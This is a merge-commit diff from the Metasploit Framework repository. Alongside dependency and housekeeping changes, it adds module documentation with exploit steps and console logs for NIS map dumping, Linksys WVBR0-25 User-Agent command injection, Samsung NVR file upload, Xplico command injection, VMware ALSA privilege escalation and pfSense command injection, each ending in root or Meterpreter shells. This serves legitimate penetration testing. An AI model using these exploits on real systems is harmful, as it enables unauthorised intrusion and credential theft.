Merge branch 'goliath' into add_https

GSoC/Meterpreter_Web_Console
James Barnett 2018-01-19 13:33:24 -06:00
commit b8296a809c
92 changed files with 5163 additions and 1321 deletions

4
.gitignore vendored
View File

@ -93,3 +93,7 @@ docker-compose.local*
# Ignore python bytecode
*.pyc
rspec.failures
#Ignore any base disk store files
db/modules_metadata_base.pstore

View File

@ -1,6 +1,7 @@
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
@ -30,6 +31,7 @@ lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>

View File

@ -45,8 +45,8 @@ and Metasploit's [Common Coding Mistakes].
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Do** [reference associated issues] in your pull request description
* **Do** write [release notes] once a pull request is landed
* **Do** [reference associated issues] in your pull request description.
* **Do** write [release notes] once a pull request is landed.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
@ -58,8 +58,8 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
* **Do** include instructions on how to setup the vulnerable environment or software
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs
* **Do** include instructions on how to setup the vulnerable environment or software.
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs.

View File

@ -1,4 +1,4 @@
Copyright (C) 2006-2017, Rapid7, Inc.
Copyright (C) 2006-2018, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,

20
CURRENT.md Normal file
View File

@ -0,0 +1,20 @@
Active Metasploit 5 development will sometimes push aggressive changes.
Integrations with 3rd-party tools, as well as general usage, may change quickly
from day to day. Some of the steps for dealing with major changes will be
documented here. We will continue to maintain the Metasploit 4.x branch until
Metasploit 5.0 is released.
**2018/01/17 - [internal] module cache reworked to not store metadata in PostgreSQL**
Metasploit no longer stores module metadata in a PostgreSQL database, instead
storing it in a cache file in your local ~/.msf4 config directory. This has a
number of advantages:
* Fast searches whether you have the database enabled or not (no more slow search mode)
* Faster load time for msfconsole, the cache loads more quickly
* Private module data is not uploaded to a shared database, no collisions
* Adding or deleting modules no longer displays file-not-found error messages on start in msfconsole
* Reduced memory consumption
Code that reads directly from the Metasploit database for module data will need
to use the new module search API.

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.16.29)
metasploit-framework (5.0.0)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -10,6 +10,7 @@ PATH
bcrypt_pbkdf
bit-struct
dnsruby
faker
filesize
jsobfu
json
@ -17,7 +18,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.23)
metasploit-payloads (= 1.3.25)
metasploit_data_models
metasploit_payloads-mettle (= 0.3.3)
mqtt
@ -124,12 +125,14 @@ GEM
factory_girl_rails (4.9.0)
factory_girl (~> 4.9.0)
railties (>= 3.0.0)
faker (1.8.7)
i18n (>= 0.7)
faraday (0.13.1)
multipart-post (>= 1.2, < 3)
ffi (1.9.18)
filesize (0.1.1)
fivemat (1.3.5)
google-protobuf (3.5.0)
google-protobuf (3.5.1)
googleapis-common-protos-types (1.0.1)
google-protobuf (~> 3.0)
googleauth (0.6.2)
@ -140,7 +143,7 @@ GEM
multi_json (~> 1.11)
os (~> 0.9)
signet (~> 0.7)
grpc (1.8.0)
grpc (1.8.3)
google-protobuf (~> 3.1)
googleapis-common-protos-types (~> 1.0.0)
googleauth (>= 0.5.1, < 0.7)
@ -180,29 +183,29 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.23)
metasploit_data_models (2.0.15)
metasploit-payloads (1.3.25)
metasploit_data_models (2.0.16)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
metasploit-concern
metasploit-model
pg
pg (= 0.20.0)
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.3.3)
method_source (0.9.0)
mini_portile2 (2.3.0)
minitest (5.10.3)
minitest (5.11.1)
mqtt (0.5.0)
msgpack (1.2.0)
multi_json (1.12.2)
msgpack (1.2.2)
multi_json (1.13.1)
multipart-post (2.0.0)
nessus_rest (0.1.6)
net-ssh (4.2.0)
network_interface (0.0.2)
nexpose (7.1.1)
nexpose (7.2.0)
nokogiri (1.8.1)
mini_portile2 (~> 2.3.0)
octokit (4.8.0)
@ -291,14 +294,14 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.9)
rex-socket (0.1.10)
rex-core
rex-sslscan (0.1.5)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.15)
rex-text (0.2.16)
rex-zip (0.1.3)
rex-text
rkelly-remix (0.0.7)
@ -306,7 +309,7 @@ GEM
rspec-core (~> 3.7.0)
rspec-expectations (~> 3.7.0)
rspec-mocks (~> 3.7.0)
rspec-core (3.7.0)
rspec-core (3.7.1)
rspec-support (~> 3.7.0)
rspec-expectations (3.7.0)
diff-lcs (>= 1.2.0, < 2.0)

View File

@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Source: http://www.metasploit.com/
Files: *
Copyright: 2006-2017, Rapid7, Inc.
Copyright: 2006-2018, Rapid7, Inc.
License: BSD-3-clause
# The Metasploit Framework is provided under the 3-clause BSD license provided

Binary file not shown.

View File

@ -0,0 +1,25 @@
%clr%red .;lxO0KXXXK0Oxl:.
,o0WMMMMMMMMMMMMMMMMMMKd,
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
oMMMMMMMMMMx. dMMMMMMMMMMx
.WMMMMMMMMM: :MMMMMMMMMM,
xMMMMMMMMMo lMMMMMMMMMO
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd ,0MMMMMMMMMMK;
.WMMMMMMMMMc 'OMMMMMM0,
lMMMMMMMMMMk. .kMMO'
dMMMMMMMMMMWd' ..
cWMMMMMMMMMMMNxc'.%clr%whi ##########%clr
%red .0MMMMMMMMMMMMMMMMWc%clr%whi #+# #+#%clr
%red ;0MMMMMMMMMMMMMMMo.%clr%whi +:+%clr
%red .dNMMMMMMMMMMMMo%clr +%whi#+%clr+:++#+
%red 'oOWMMMMMMMMo%clr +:+
%red .,cdkO0K;%clr :+: :+:
:::::::+:
%whiMetasploit%clr %yelUnder Construction%clr

Binary file not shown.

View File

@ -0,0 +1,110 @@
## Intro
From the `bootparamd(8)` man page:
> bootparamd is a server process that provides information to diskless clients necessary for booting. It consults the /etc/bootparams file to find the information it needs.
The module documented within will allow a tester to disclose the NIS
domain name from a server running `bootparamd`. After knowing the domain
name, the tester can follow up with `auxiliary/gather/nis_ypserv_map` to
dump a map from a compatible NIS server (running as `ypserv`).
## Setup
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
If the link is down, you can find it via the Wayback Machine.
After that is done, install `bootparamd` however your OS provides it.
Make sure you add a client to the `bootparams` file, which is usually at
`/etc/bootparams`.
Here is an example `bootparams` file (courtesy of
[@bcoles](https://github.com/bcoles)):
```
clientname root=nfsserver:/export/clientname/root
```
You can read the `bootparams(5)` man page for more info.
Lastly, the client should be added to `/etc/hosts` if it isn't already
resolvable.
## Options
**PROTOCOL**
Set this to either TCP or UDP. UDP is the default due to `bootparamd`.
**CLIENT**
Set this to the address of a client in the target's `bootparams` file.
Usually this is a host within the same network range as the target.
**XDRTimeout**
Set this to the timeout in seconds for XDR decoding of the response.
## Usage
```
msf > use auxiliary/gather/nis_bootparamd_domain
msf auxiliary(gather/nis_bootparamd_domain) > set rhost 192.168.33.10
rhost => 192.168.33.10
msf auxiliary(gather/nis_bootparamd_domain) > set client 192.168.33.10
client => 192.168.33.10
msf auxiliary(gather/nis_bootparamd_domain) > run
[+] 192.168.33.10:111 - NIS domain name for host ubuntu-xenial (192.168.33.10) is gesellschaft
[*] Auxiliary module execution completed
msf auxiliary(gather/nis_bootparamd_domain) >
```
After disclosing the domain name, you can use
`auxiliary/gather/nis_ypserv_map` to dump a map from a compatible NIS
server.
```
msf auxiliary(gather/nis_bootparamd_domain) > use auxiliary/gather/nis_ypserv_map
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.33.10
rhost => 192.168.33.10
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
domain => gesellschaft
msf auxiliary(gather/nis_ypserv_map) > run
[+] 192.168.33.10:111 - Dumping map passwd.byname on domain gesellschaft:
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
games:*:5:60:games:/usr/games:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
uuidd:*:108:112::/run/uuidd:/bin/false
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
root:*:0:0:root:/root:/bin/bash
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
messagebus:*:107:111::/var/run/dbus:/bin/false
_apt:*:105:65534::/nonexistent:/bin/false
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
syslog:*:104:108::/home/syslog:/bin/false
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
pollinate:*:111:1::/var/cache/pollinate:/bin/false
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
lxd:*:106:65534::/var/lib/lxd/:/bin/false
[*] Auxiliary module execution completed
msf auxiliary(gather/nis_ypserv_map) >
```

View File

@ -0,0 +1,108 @@
## Intro
If you've worked with old Unix systems before, you've probably
encountered NIS (Network Information Service). The most familiar way of
describing it is a sort of hybrid between DNS and LDAP.
[Oracle][1] says the following about it:
> NIS is a distributed naming service. It is a mechanism for identifying and locating network objects and resources. It provides a uniform storage and retrieval method for network-wide information in a transport-protocol and media-independent fashion.
And on its use:
> By running NIS, the system administrator can distribute administrative databases, called maps, among a variety of servers (master and slaves). The administrator can update those databases from a centralized location in an automatic and reliable fashion to ensure that all clients share the same naming service information in a consistent manner throughout the network.
The module documented within will allow a tester to dump any map from an
NIS server (running as `ypserv`). Usually, maps like `passwd.byname`
contain things like hashes and user info, which can go a long way during
a pentest.
## Setup
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
If the link is down, you can find it via the Wayback Machine.
## Options
**PROTOCOL**
Set this to either TCP or UDP. TCP is the default due to easy discovery.
**DOMAIN**
Set this to your NIS domain.
**MAP**
Set this to the NIS map you want to dump. The default is `passwd`. You
can use the nicknames described in the module info instead of the full
map names.
**XDRTimeout**
Set this to the timeout in seconds for XDR decoding of the response.
## Usage
```
msf > use auxiliary/gather/nis_ypserv_map
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.0.2
rhost => 192.168.0.2
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
domain => gesellschaft
msf auxiliary(gather/nis_ypserv_map) > run
[+] 192.168.0.2:111 - Dumping map passwd.byname on domain gesellschaft:
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
games:*:5:60:games:/usr/games:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
uuidd:*:108:112::/run/uuidd:/bin/false
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
root:*:0:0:root:/root:/bin/bash
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
messagebus:*:107:111::/var/run/dbus:/bin/false
_apt:*:105:65534::/nonexistent:/bin/false
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
syslog:*:104:108::/home/syslog:/bin/false
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
pollinate:*:111:1::/var/cache/pollinate:/bin/false
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
lxd:*:106:65534::/var/lib/lxd/:/bin/false
[*] Auxiliary module execution completed
msf auxiliary(gather/nis_ypserv_map) >
```
After dumping a map, you can find it stored in `loot` later. You should
be able to run something like John the Ripper directly on the
`passwd.byname` map.
```
msf auxiliary(gather/nis_ypserv_map) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.0.2 passwd.byname text/plain /home/wvu/.msf4/loot/20180108143013_default_192.168.0.2_passwd.byname_509006.txt
msf auxiliary(gather/nis_ypserv_map) >
```
[1]: https://docs.oracle.com/cd/E23824_01/html/821-1455/anis1-25461.html

View File

@ -0,0 +1,49 @@
## Vulnerable Application
This module exploits a command injection vulnerability in the Linksys WVBR0-25 wireless video bridge. More information about the device itself can be found on AT&T's [manuals page](https://www.att.com/help/manuals/directv/dvrs.html) under the "DIRECTV Wireless Video Bridge Gen2 Product Manual" heading, as well as on this [unofficial product page](https://www.solidsignal.com/pview.asp?p=wvb). A description of the exploited vulnerability is available in the Vulnerability Details section of [this advisory](http://www.zerodayinitiative.com/advisories/ZDI-17-973/).
The latest confirmed vulnerable firmware version is 1.0.39. It may be possible to downgrade newer versions to a vulnerable version, but since firmware images are not available for download, this cannot be verified.
There is no complete list of vulnerable firmware versions, however the check method can reliably detect whether a device is vulnerable. The check method browses to the root of the device's webserver with a User-Agent set to `"; printf "[random string]`. If the response contains an md5 hash of the random string, the device is vulnerable to command injection.
Manual exploitation would equate to browsing to the URI `http://<ip>/` with the User-Agent header set to `"; command;`.
Version 1.0.39 was confirmed vulnerable, and firmware 1.0.41 was released to fix the exploit.
## Verification Steps
1. Make sure the device is running.
2. Start msfconsole.
3. Do: ```use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth```
4. Do: ```set payload cmd/unix/bind_netcat```
5. Do: ```set RHOST [ip]```
6. Do: ```exploit```
7. You should get a shell.
## Options
**PAYLOAD**
The `generic` and `netcat` payload types are valid.
## Scenarios
### Firmware 1.0.39
The following is an example run getting a shell:
```
msf > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set RHOST 10.0.0.104
RHOST => 10.0.0.104
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit
[*] 10.0.0.104:80 - Trying to access the device ...
[*] Started bind handler
[*] 10.0.0.104:80 - Exploiting...
[*] Command shell session 1 opened (10.0.0.109:40541 -> 10.0.0.104:4444) at 2017-12-21 17:09:54 -0600
id
uid=0(root) gid=0(root)
```

View File

@ -0,0 +1,94 @@
## Description
Samsung NVR Recorder SRN-1670D is a high performance network video recorder. An arbitrary file
upload vulnerability was found in the Web Viewer component, which could allow an authenticated
user to upload a PHP payload to get code exuection. The vulnerable code can be found in
network_ssl_upload.php:
```php
22 $path = "./upload/";
23 $file = $_FILES[ "attachFile" ];
24 $isApply = ( int )$_POST[ "is_apply" ];
25 $isInstall = ( int )$_POST[ "isInstall" ];
26 $isCertFlag = ( int )$_POST[ "isCertFlag" ];
27
28 // create socket
29 $N_message = "";
30 $sock = mySocket_create($_is_unix_socket);
31 $connected = mySocket_connect($_is_unix_socket, $sock);
32
33 $loginInfo = new loginInfo();
34 $retLogin = loginManager( $connected, $sock, null, $loginInfo );
35 if ( ( $retLogin == true ) && ( $isApply == 2 || $isApply == 3 ) ) {
36 if ($connected) {
37 $id = $loginInfo->get_id();
38 $xmlFile = $id.'_config.xml';
39 $N_message = "dummy".nvr_command::DELIM;
40 $N_message .= "userid ".$id.nvr_command::DELIM;
41
42 if ( $isInstall == 1 ) {
43 // File upload ===============================================================
44 if ( $file[ "error" ] 0 ) {
45 $Error = "Error: ".$file[ "error" ];
46 } else {
47 $retFile = @copy( $file[ "tmp_name" ], $path.$file[ "name" ] );
48 }
49 // ===========================================================================
50 }
```
To avoid the need of authentication, the exploit also takes advantage of another vulnerability
(CVE-2015-8279) in the log exporting function to read an aribtrary file from the remote machine
in order to obtain credentials that can be used for the attack.
## Vulnerable Application
Samsung NVR Recorder SRN-1670D is a hardware:
http://www.samsungcc.com.au/cctv/ip-nvr-solution/samsung-dvr-srn-1670d
## Scenario
```
msf exploit(samsung_srv_1670d_upload_exec) > show options
Module options (exploit/multi/http/samsung_srv_1670d_upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.1.200 yes The target address.
RPORT 80 yes The target port (TCP).
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.122 yes The listen address
LPORT 4358 yes The listen port
Exploit target:
Id Name
-- ----
0 Samsung SRN-1670D == 1.0.0.193
msf exploit(samsung_srv_1670d_upload_exec) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.1.122:4358
msf exploit(samsung_srv_1670d_upload_exec) > [*] Obtaining credentails...
[+] Credentials obtained successfully: admin:pass123!
[*] Logging...
[+] Authentication Succeeded
[*] Generating payload[ eRdGKfFJ.php ]...
[*] Uploading payload...
[*] Executing payload...
[*] Sending stage (33986 bytes) to 192.168.1.200
[*] Meterpreter session 3 opened (192.168.1.122:4358 -> 192.168.1.200:55676) at 2017-06-19 11:52:22 +0100
```

View File

@ -0,0 +1,88 @@
## Vulnerable Application
This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal command under the context of the root user.
The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet
traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create
a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try
to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation.
But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage.
One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum
of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation.
**Vulnerable Application Installation Steps**
Follow instruction from "from sourceforge" section at following URL. Don't forget install version 1.2.0 instead of 1.0.0. At the time of this writing, installation commands contains command for version 1.0.0
[http://wiki.xplico.org/doku.php?id=ubuntu](http://wiki.xplico.org/doku.php?id=ubuntu)
You may also give a try to virtualbox image provided by maintainer of Xplico. I've tested this module against Xplico-1.1.0-ubuntu-13.10-i386.ova.
[https://sourceforge.net/projects/xplico/files/VirtualBox%20images/](https://sourceforge.net/projects/xplico/files/VirtualBox%20images/)
Username of the virtualbox image is "ubuntu" and password is "reverse".
## Verification Steps
A successful check of the exploit will look like this:
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/securityonion_xplico_exec`
- [ ] Set `RHOST`
- [ ] Set `PAYLOAD cmd/unix/reverse_awk`
- [ ] Set `LHOST`
- [ ] Run `exploit`
- [ ] **Verify** that you are seeing `New user successfully registered` in console.
- [ ] **Verify** that you are seeing `User successfully activated` in console.
- [ ] **Verify** that you are seeing `Successfully authenticated` in console.
- [ ] **Verify** that you are seeing `New Case successfully creted` in console.
- [ ] **Verify** that you are seeing `New Sols successfully creted` in console.
- [ ] **Verify** that you are seeing `PCAP successfully uploaded. Pcap parser is going to start on server side` in console.
- [ ] **Verify** that you are getting `We are at PCAP decoding phase. Little bit more patience...` in console.
- [ ] **Verify** that you have your root shell.
## Scenarios
```
msf > use exploit/linux/http/securityonion_xplico_exec
msf exploit(securityonion_xplico_exec) > set RHOST 12.0.0.30
RHOST => 12.0.0.30
msf exploit(securityonion_xplico_exec) >
msf exploit(securityonion_xplico_exec) > exploit
[-] Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
msf exploit(securityonion_xplico_exec) > set payload cmd/unix/
set payload cmd/unix/generic set payload cmd/unix/reverse_netcat
set payload cmd/unix/reverse_awk
msf exploit(securityonion_xplico_exec) > set payload cmd/unix/reverse_awk
payload => cmd/unix/reverse_awk
msf exploit(securityonion_xplico_exec) > set LHOST 12.0.0.1
LHOST => 12.0.0.1
msf exploit(securityonion_xplico_exec) > exploit
[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Initiating new session on server side
[*] Registering a new user
[+] New user successfully registered
[*] Username: mwbvnyowr
[*] Password: gHPkAvCTXFDVcfTwaAmfoJUoMNHNDIDT
[*] Calculating em_key code of the user
[*] Activating user with em_key = 159d4af63472e2a47e3f3c5c11205a5e
[+] User successfully activated
[*] Authenticating with our activated new user
[+] Successfully authenticated
[*] Creating new case
[+] New Case successfully creted. Our pol_id = 36
[*] Creating new xplico session for pcap
[+] New Sols successfully creted. Our sol_id = 54
[*] Uploading malformed PCAP file
[+] PCAP successfully uploaded. Pcap parser is going to start on server side.
[*] Parsing has started. Wait for parser to get the job done...
[+] We are at PCAP decoding phase. Little bit more patience...
[+] We are at PCAP decoding phase. Little bit more patience...
[+] We are at PCAP decoding phase. Little bit more patience...
[*] Command shell session 1 opened (12.0.0.1:4444 -> 12.0.0.30:39782) at 2017-11-08 14:44:52 +0300
id
uid=0(root) gid=0(root) groups=0(root)
```

View File

@ -0,0 +1,63 @@
## Description
This module exploits a vulnerability in VMware Workstation Pro and Player before version 12.5.6 on Linux which allows users to escalate their privileges by using an ALSA configuration file to load and execute a shared object as root when launching a virtual machine with an attached sound card.
## Vulnerable Application
VMware Workstation Pro and VMware Workstation Player are the industry standard for running multiple operating systems as virtual machines on a single PC. Thousands of IT professionals, developers and businesses use Workstation Pro and Workstation Player to be more agile, more productive and more secure every day.
This module has been tested successfully on:
* VMware Player version 12.5.0 on Debian Linux
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. Do: `use exploit/linux/local/vmware_alsa_config`
4. Do: `set SESSION [SESSION]`
5. Do: `check`
6. Do: `run`
7. You should get a new root session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**WritableDir**
A writable directory file system path. (default: `/tmp`)
## Scenarios
```
msf exploit(vmware_alsa_config) > check
[!] SESSION may not be compatible with this module.
[+] Target version is vulnerable
[+] The target is vulnerable.
msf exploit(vmware_alsa_config) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.181:4444
[+] Target version is vulnerable
[*] Launching VMware Player...
[*] Meterpreter session 2 opened (172.16.191.181:4444 -> 172.16.191.221:33807) at 2017-06-23 08:22:11 -0400
[*] Removing /tmp/.baVu7FwzlaIQyp
[*] Removing /home/user/.asoundrc
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.221
OS : Debian 8.8 (Linux 3.16.0-4-amd64)
Architecture : x64
Meterpreter : x64/linux
```

View File

@ -0,0 +1,70 @@
## Description
This module exploits a vulnerability in pfSense version 2.2.6 and before which allows an authenticated user to execute arbitrary operating system commands as root.
## Vulnerable Application
This module has been tested successfully on version 2.2.6-RELEASE, 2.2.5-RELEASE, and 2.1.3-RELEASE
Installers:
* [pfSense 2.2.6-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.6-RELEASE-amd64.iso.gz)
* [pfSense 2.2.5-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.5-RELEASE-amd64.iso.gz)
* [pfSense 2.1.3-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.1.3-RELEASE-amd64.iso.gz)
## Verification Steps
1. Start `msfconsole`
2. Do: `use exploit/unix/http/pfsense_graph_injection_exec`
3. Do: `set RHOST [IP]`
4. Do: `set USERNAME [username]`
5. Do: `set PASSWORD [password]`
6. Do: `set LHOST [IP]`
7. Do: `exploit`
## Scenarios
### pfSense Community Edition 2.2.6-RELEASE
```
msf exploit(unix/http/pfsense_graph_injection_exec) > use exploit/unix/http/pfsense_graph_injection_execmsf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
RHOST => 2.2.2.2
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Sending stage (37543 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:42116) at 2018-01-01 17:17:36 -0600
meterpreter > sysinfo
Computer : pfSense.localdomain
OS : FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
Meterpreter : php/freebsd
meterpreter > getuid
Server username: root (0)
meterpreter >
```
### pfSense Community Edition 2.1.3-RELEASE
```
msf > use exploit/unix/http/pfsense_graph_injection_exec
msf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
RHOST => 2.2.2.2
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf exploit(unix/http/pfsense_graph_injection_exec) > set PAYLOAD php/reverse_php
PAYLOAD => php/reverse_php
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Detected pfSense 2.1.3-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:3454) at 2018-01-01 15:49:38 -0600
uname -a
